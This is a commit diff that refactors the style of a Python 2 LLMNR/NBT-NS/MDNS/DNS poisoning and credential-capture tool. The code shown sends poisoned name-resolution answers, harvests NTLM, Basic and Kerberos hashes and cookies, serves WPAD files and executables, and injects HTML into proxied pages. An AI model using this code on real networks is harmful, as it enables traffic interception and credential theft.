Merge pull request #92 from jvoisin/master

Refactor a bit the whole codebase to be more pythonic
This commit is contained in:
lgandx 2016-07-07 21:28:33 -05:00 committed by GitHub
commit 59337ab87d
25 changed files with 315 additions and 707 deletions

View file

@ -14,14 +14,10 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import optparse import optparse
import socket
import time
import settings
import ssl import ssl
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer from SocketServer import TCPServer, UDPServer, ThreadingMixIn
from threading import Thread from threading import Thread
from utils import * from utils import *
@ -45,8 +41,7 @@ options, args = parser.parse_args()
if not os.geteuid() == 0: if not os.geteuid() == 0:
print color("[!] Responder must be run as root.") print color("[!] Responder must be run as root.")
sys.exit(-1) sys.exit(-1)
elif options.OURIP is None and IsOsX() is True:
if options.OURIP is None and IsOsX() is True:
print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n" print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)

View file

@ -14,15 +14,11 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import sys
import socket import socket
import struct import struct
import string
import logging
from utils import color from utils import color
from odict import OrderedDict
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data): def OsNameClientVersion(data):
@ -31,7 +27,6 @@ def OsNameClientVersion(data):
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2] pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion return OsVersion, ClientVersion
except: except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"

View file

@ -14,28 +14,18 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct import struct
import settings
import fingerprint import fingerprint
from packets import LLMNR_Ans from packets import LLMNR_Ans
from odict import OrderedDict
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
def Parse_LLMNR_Name(data): def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0] NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen] return data[13:13+NameLen]
return Name
def IsOnTheSameSubnet(ip, net):
net += '/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def IsICMPRedirectPlausible(IP): def IsICMPRedirectPlausible(IP):
dnsip = [] dnsip = []
@ -43,22 +33,19 @@ def IsICMPRedirectPlausible(IP):
ip = line.split() ip = line.split()
if len(ip) < 2: if len(ip) < 2:
continue continue
if ip[0] == 'nameserver': elif ip[0] == 'nameserver':
dnsip.extend(ip[1:]) dnsip.extend(ip[1:])
for x in dnsip: for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
else:
pass
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
IsICMPRedirectPlausible(settings.Config.Bind_To) IsICMPRedirectPlausible(settings.Config.Bind_To)
# LLMNR Server class
class LLMNR(BaseRequestHandler):
class LLMNR(BaseRequestHandler): # LLMNR Server class
def handle(self): def handle(self):
data, soc = self.request data, soc = self.request
Name = Parse_LLMNR_Name(data) Name = Parse_LLMNR_Name(data)
@ -68,24 +55,18 @@ class LLMNR(BaseRequestHandler):
return None return None
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
Finger = None
if settings.Config.Finger_On_Off: if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]" LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
else: # Poisoning Mode
# Poisoning Mode
else:
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate() Buffer.calculate()
soc.sendto(str(Buffer), self.client_address) soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]" LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
if Finger is not None: if Finger is not None:

View file

@ -15,8 +15,6 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct import struct
import settings
import socket
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import MDNS_Ans from packets import MDNS_Ans
@ -33,15 +31,14 @@ def Parse_MDNS_Name(data):
except IndexError: except IndexError:
return None return None
def Poisoned_MDNS_Name(data): def Poisoned_MDNS_Name(data):
data = data[12:] data = data[12:]
Name = data[:len(data)-5] return data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler): class MDNS(BaseRequestHandler):
def handle(self): def handle(self):
MADDR = "224.0.0.251" MADDR = "224.0.0.251"
MPORT = 5353 MPORT = 5353
@ -52,14 +49,10 @@ class MDNS(BaseRequestHandler):
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None return None
try: if settings.Config.AnalyzeMode: # Analyze Mode
# Analyze Mode
if settings.Config.AnalyzeMode:
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
else: # Poisoning Mode
# Poisoning Mode
else:
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data) Poisoned_Name = Poisoned_MDNS_Name(data)
@ -68,6 +61,3 @@ class MDNS(BaseRequestHandler):
soc.sendto(str(Buffer), (MADDR, MPORT)) soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
except Exception:
raise

View file

@ -14,8 +14,7 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import settings
import fingerprint import fingerprint
from packets import NBT_Ans from packets import NBT_Ans
@ -26,19 +25,14 @@ from utils import *
def Validate_NBT_NS(data): def Validate_NBT_NS(data):
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
return False return False
elif NBT_NS_Role(data[43:46]) == "File Server":
if NBT_NS_Role(data[43:46]) == "File Server":
return True return True
elif settings.Config.NBTNSDomain:
if settings.Config.NBTNSDomain:
if NBT_NS_Role(data[43:46]) == "Domain Controller": if NBT_NS_Role(data[43:46]) == "Domain Controller":
return True return True
elif settings.Config.Wredirect:
if settings.Config.Wredirect:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
return True return True
else:
return False return False
# NBT_NS Server class. # NBT_NS Server class.
@ -54,19 +48,14 @@ class NBTNS(BaseRequestHandler):
return None return None
if data[2:4] == "\x01\x10": if data[2:4] == "\x01\x10":
Finger = None
if settings.Config.Finger_On_Off: if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
else:
Finger = None
# Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: NBT-NS]" LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
else: # Poisoning Mode
# Poisoning Mode
else:
Buffer = NBT_Ans() Buffer = NBT_Ans()
Buffer.calculate(data) Buffer.calculate(data)
socket.sendto(str(Buffer), self.client_address) socket.sendto(str(Buffer), self.client_address)

View file

@ -14,16 +14,14 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import settings
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
import struct
def WorkstationFingerPrint(data): def WorkstationFingerPrint(data):
Role = { return {
"\x04\x00" :"Windows 95", "\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98", "\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME", "\x04\x90" :"Windows ME",
@ -35,12 +33,11 @@ def WorkstationFingerPrint(data):
"\x06\x02" :"Windows 8/Server 2012", "\x06\x02" :"Windows 8/Server 2012",
"\x06\x03" :"Windows 8.1/Server 2012R2", "\x06\x03" :"Windows 8.1/Server 2012R2",
"\x10\x00" :"Windows 10/Server 2016", "\x10\x00" :"Windows 10/Server 2016",
} }.get(data, 'Unknown')
return Role[data] if data in Role else "Unknown"
def RequestType(data): def RequestType(data):
Type = { return {
"\x01": 'Host Announcement', "\x01": 'Host Announcement',
"\x02": 'Request Announcement', "\x02": 'Request Announcement',
"\x08": 'Browser Election', "\x08": 'Browser Election',
@ -51,30 +48,23 @@ def RequestType(data):
"\x0d": 'Master Announcement', "\x0d": 'Master Announcement',
"\x0e": 'Reset Browser State Announcement', "\x0e": 'Reset Browser State Announcement',
"\x0f": 'Local Master Announcement', "\x0f": 'Local Master Announcement',
} }.get(data, 'Unknown')
return Type[data] if data in Type else "Unknown"
def PrintServerName(data, entries): def PrintServerName(data, entries):
if entries > 0: if entries <= 0:
return None
entrieslen = 26 * entries entrieslen = 26 * entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
l = [] l = []
for x in ServerName: for x in ServerName:
FP = WorkstationFingerPrint(x[16:18]) fingerprint = WorkstationFingerPrint(x[16:18])
Name = x[:16].replace('\x00', '') name = x[:16].replace('\x00', '')
l.append('%s (%s)' % (name, fingerprint))
if FP:
l.append(Name + ' (%s)' % FP)
else:
l.append(Name)
return l return l
return None
def ParsePacket(Payload): def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0] PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
@ -83,10 +73,9 @@ def ParsePacket(Payload):
if StatusCode == "\x00\x00": if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0] EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum) return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
else:
return None return None
def RAPThisDomain(Client,Domain): def RAPThisDomain(Client,Domain):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80") PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None: if PDC is not None:
@ -100,6 +89,7 @@ def RAPThisDomain(Client,Domain):
if WKST is not None: if WKST is not None:
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
def RapFinger(Host, Domain, Type): def RapFinger(Host, Domain, Type):
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@ -201,7 +191,6 @@ class Browser(BaseRequestHandler):
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
ParseDatagramNBTNames(request,self.client_address[0]) ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
except Exception: except Exception:

View file

@ -14,8 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
from packets import DNS_Ans from packets import DNS_Ans
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
@ -24,13 +22,12 @@ def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:] QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer. # If Type A, Class IN, then answer.
return True if QueryTypeClass == "\x00\x01\x00\x01" else False return QueryTypeClass == "\x00\x01\x00\x01"
# DNS Server class
class DNS(BaseRequestHandler): class DNS(BaseRequestHandler):
def handle(self): def handle(self):
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True: if RespondToThisIP(self.client_address[0]) is not True:
return None return None
@ -43,7 +40,7 @@ class DNS(BaseRequestHandler):
buff.calculate(data) buff.calculate(data)
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception: except Exception:
@ -51,9 +48,7 @@ class DNS(BaseRequestHandler):
# DNS Server TCP Class # DNS Server TCP Class
class DNSTCP(BaseRequestHandler): class DNSTCP(BaseRequestHandler):
def handle(self): def handle(self):
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True: if RespondToThisIP(self.client_address[0]) is not True:
return None return None
@ -61,7 +56,7 @@ class DNSTCP(BaseRequestHandler):
try: try:
data = self.request.recv(1024) data = self.request.recv(1024)
if ParseDNSType(data) and settings.Config.AnalyzeMode == False: if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(data) buff.calculate(data)
self.request.send(str(buff)) self.request.send(str(buff))

View file

@ -14,8 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import * from utils import *
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler

View file

@ -14,12 +14,10 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer from SocketServer import BaseRequestHandler, StreamRequestHandler
from base64 import b64decode, b64encode from base64 import b64decode
import struct
from utils import * from utils import *
from packets import NTLM_Challenge from packets import NTLM_Challenge
@ -78,52 +76,46 @@ def ParseHTTPHash(data, client):
}) })
def GrabCookie(data, host): def GrabCookie(data, host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data) Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
if Cookie: if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '') Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1 and settings.Config.Verbose: if len(Cookie) > 1 and settings.Config.Verbose:
print text("[HTTP] Cookie : %s " % Cookie) print text("[HTTP] Cookie : %s " % Cookie)
return Cookie return Cookie
else:
return False return False
def GrabHost(data, host): def GrabHost(data, host):
Host = re.search('(Host:*.\=*)[^\r\n]*', data) Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host: if Host:
Host = Host.group(0).replace('Host: ', '') Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Host : %s " % color(Host, 3)) print text("[HTTP] Host : %s " % color(Host, 3))
return Host return Host
else:
return False return False
def GrabReferer(data, host): def GrabReferer(data, host):
Referer = re.search('(Referer:*.\=*)[^\r\n]*', data) Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
if Referer: if Referer:
Referer = Referer.group(0).replace('Referer: ', '') Referer = Referer.group(0).replace('Referer: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Referer : %s " % color(Referer, 3)) print text("[HTTP] Referer : %s " % color(Referer, 3))
return Referer return Referer
else:
return False return False
def WpadCustom(data, client): def WpadCustom(data, client):
Wpad = re.search('(/wpad.dat|/*\.pac)', data) Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
if Wpad: if Wpad:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script) Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return str(Buffer)
else:
return False return False
def ServeFile(Filename): def ServeFile(Filename):
with open (Filename, "rb") as bk: with open (Filename, "rb") as bk:
data = bk.read() return bk.read()
bk.close()
return data
def RespondWithFile(client, filename, dlname=None): def RespondWithFile(client, filename, dlname=None):
@ -138,9 +130,9 @@ def RespondWithFile(client, filename, dlname=None):
return str(Buffer) return str(Buffer)
def GrabURL(data, host): def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data) GET = re.findall(r'(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data) POST = re.findall(r'(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
if GET and settings.Config.Verbose: if GET and settings.Config.Verbose:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
@ -152,11 +144,11 @@ def GrabURL(data, host):
# Handle HTTP packet sequence. # Handle HTTP packet sequence.
def PacketSequence(data, client): def PacketSequence(data, client):
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\\r]*', data)
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\\r]*', data)
# Serve the .exe if needed # Serve the .exe if needed
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)): if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)):
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
# Serve the custom HTML if needed # Serve the custom HTML if needed
@ -189,7 +181,6 @@ def PacketSequence(data, client):
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate() Buffer.calculate()
@ -215,28 +206,23 @@ def PacketSequence(data, client):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return str(Buffer)
else: else:
if settings.Config.Basic: if settings.Config.Basic:
Response = IIS_Basic_401_Ans() Response = IIS_Basic_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client) print text("[HTTP] Sending BASIC authentication request to %s" % client)
else: else:
Response = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Sending NTLM authentication request to %s" % client) print text("[HTTP] Sending NTLM authentication request to %s" % client)
return str(Response) return str(Response)
# HTTP Server class # HTTP Server class
class HTTP(BaseRequestHandler): class HTTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
while True: while True:

View file

@ -14,8 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
import urlparse import urlparse
import select import select
import zlib import zlib
@ -43,24 +41,20 @@ def InjectData(data, client, req_uri):
return data return data
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
if set(RedirectCodes) & set(Headers):
if [s for s in RedirectCodes if s in Headers]:
return data return data
if "content-encoding: gzip" in Headers.lower(): if "content-encoding: gzip" in Headers.lower():
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
if "content-type: text/html" in Headers.lower(): if "content-type: text/html" in Headers.lower():
if settings.Config.Serve_Html: # Serve the custom HTML if needed
# Serve the custom HTML if needed
if settings.Config.Serve_Html:
return RespondWithFile(client, settings.Config.Html_Filename) return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall('(<body[^>]*>)', Content) HasBody = re.findall(r'(<body[^>]*>)', Content)
if HasBody and len(settings.Config.HtmlToInject) > 2: if HasBody and len(settings.Config.HtmlToInject) > 2:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
@ -71,11 +65,9 @@ def InjectData(data, client, req_uri):
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
data = Headers +'\r\n\r\n'+ Content data = Headers +'\r\n\r\n'+ Content
else: else:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Returning unmodified HTTP response") print text("[PROXY] Returning unmodified HTTP response")
return data return data
class ProxySock: class ProxySock:
@ -96,7 +88,7 @@ class ProxySock:
def connect(self, address) : def connect(self, address) :
# Store the real remote adress # Store the real remote adress
(self.host, self.port) = address self.host, self.port = address
# Try to connect to the proxy # Try to connect to the proxy
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo( for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
@ -104,11 +96,9 @@ class ProxySock:
self.proxy_port, self.proxy_port,
0, 0, socket.SOL_TCP): 0, 0, socket.SOL_TCP):
try: try:
# Replace the socket by a connection to the proxy # Replace the socket by a connection to the proxy
self.socket = socket.socket(family, socktype, proto) self.socket = socket.socket(family, socktype, proto)
self.socket.connect(sockaddr) self.socket.connect(sockaddr)
except socket.error, msg: except socket.error, msg:
if self.socket: if self.socket:
self.socket.close() self.socket.close()
@ -116,7 +106,7 @@ class ProxySock:
continue continue
break break
if not self.socket : if not self.socket :
raise socket.error, ms raise socket.error, msg
# Ask him to create a tunnel connection to the target host/port # Ask him to create a tunnel connection to the target host/port
self.socket.send( self.socket.send(

View file

@ -14,16 +14,11 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import * from utils import *
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
# IMAP4 Server class
class IMAP(BaseRequestHandler): class IMAP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.request.send(str(IMAPGreeting())) self.request.send(str(IMAPGreeting()))
@ -50,6 +45,5 @@ class IMAP(BaseRequestHandler):
## FIXME: Close connection properly ## FIXME: Close connection properly
## self.request.send(str(ditchthisconnection())) ## self.request.send(str(ditchthisconnection()))
## data = self.request.recv(1024) ## data = self.request.recv(1024)
except Exception: except Exception:
pass pass

View file

@ -14,12 +14,9 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
import struct
def ParseMSKerbv5TCP(Data): def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22] MsgType = Data[21:22]
@ -50,8 +47,7 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen] Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
elif HashLen == 54:
if HashLen == 54:
Hash = Data[53:105] Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0] NameLen = struct.unpack('<b',Data[148:149])[0]
@ -60,7 +56,6 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
else: else:
Hash = Data[48:100] Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
@ -70,7 +65,6 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
else:
return False return False
